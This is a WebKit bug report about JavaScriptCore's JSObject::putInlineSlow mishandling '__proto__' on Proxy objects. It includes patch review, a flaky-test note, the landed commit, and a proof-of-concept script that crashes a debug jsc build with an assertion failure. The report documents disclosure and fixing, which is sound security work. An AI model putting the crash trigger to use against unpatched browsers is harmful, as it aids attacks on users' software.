| Summary: | JSObject::putInlineSlow should not ignore "__proto__" for Proxy | ||||||||
|---|---|---|---|---|---|---|---|---|---|
| Product: | WebKit | Reporter: | jundong.xjd | ||||||
| Component: | JavaScriptCore | Assignee: | Saam Barati <saam> | ||||||
| Status: | RESOLVED FIXED | ||||||||
| Severity: | Normal | CC: | bfulgham, commit-queue, ews-feeder, ews-watchlist, fpizlo, hexiaoyu, keith_miller, mark.lam, msaboff, product-security, saam, tzagallo, webkit-bug-importer, ysuzuki | ||||||
| Priority: | P2 | Keywords: | InRadar | ||||||
| Version: | Safari 12 | ||||||||
| Hardware: | All | ||||||||
| OS: | All | ||||||||
| Attachments: |
|
||||||||
patch forthcoming Created attachment 378698 [details]
patch
Comment on attachment 378698 [details] patch View in context: https://bugs.webkit.org/attachment.cgi?id=378698&action=review r=me > Source/JavaScriptCore/runtime/JSObject.cpp:841 > + if (obj->type() == ProxyObjectType) { Can you fix ordinarySetSlow too? (In reply to Yusuke Suzuki from comment #4) > Comment on attachment 378698 [details] > patch > > View in context: > https://bugs.webkit.org/attachment.cgi?id=378698&action=review > > r=me > > > Source/JavaScriptCore/runtime/JSObject.cpp:841 > > + if (obj->type() == ProxyObjectType) { > > Can you fix ordinarySetSlow too? Good call. Fixed and added a test Created attachment 378700 [details]
patch for landing
Comment on attachment 378700 [details] patch for landing Attachment 378700 [details] did not pass jsc-ews (mac): Output: https://webkit-queues.webkit.org/results/13027855 New failing tests: mozilla-tests.yaml/js1_5/Array/regress-101964.js.mozilla-ftl-eager-no-cjit-validate-phases The test is flaky. It's not this patch Comment on attachment 378700 [details] patch for landing Clearing flags on attachment: 378700 Committed r249911: <https://trac.webkit.org/changeset/249911> All reviewed patches have been landed. Closing bug. *** Bug 202342 has been marked as a duplicate of this bug. *** *** Bug 202624 has been marked as a duplicate of this bug. *** |
poc.js ``` let map = new Map(); function v5() { function v10() { function v11() { const v12 = v5(); return null; } const handler = { getPrototypeOf:v11 }; const p = new Proxy(map,handler); map.__proto__ = p; const v16 = v10(); } try { const v17 = v10(); } catch(e) { //print(e); } } const v19 = v5(); ``` execution result: ASSERTION FAILED: baseValue.asCell()->structure(vm) == structure ../../Source/JavaScriptCore/jit/Repatch.cpp(468) : JSC::InlineCacheAction JSC::tryCachePutByID(JSC::ExecState *, JSC::JSValue, JSC::Structure *, const JSC::Identifier &, const JSC::PutPropertySlot &, JSC::StructureStubInfo &, JSC::PutKind) [1] 17017 abort (core dumped) /media/hdd/WebKit-git/webkit_build_825bbd0_20190704/Debug/bin/jsc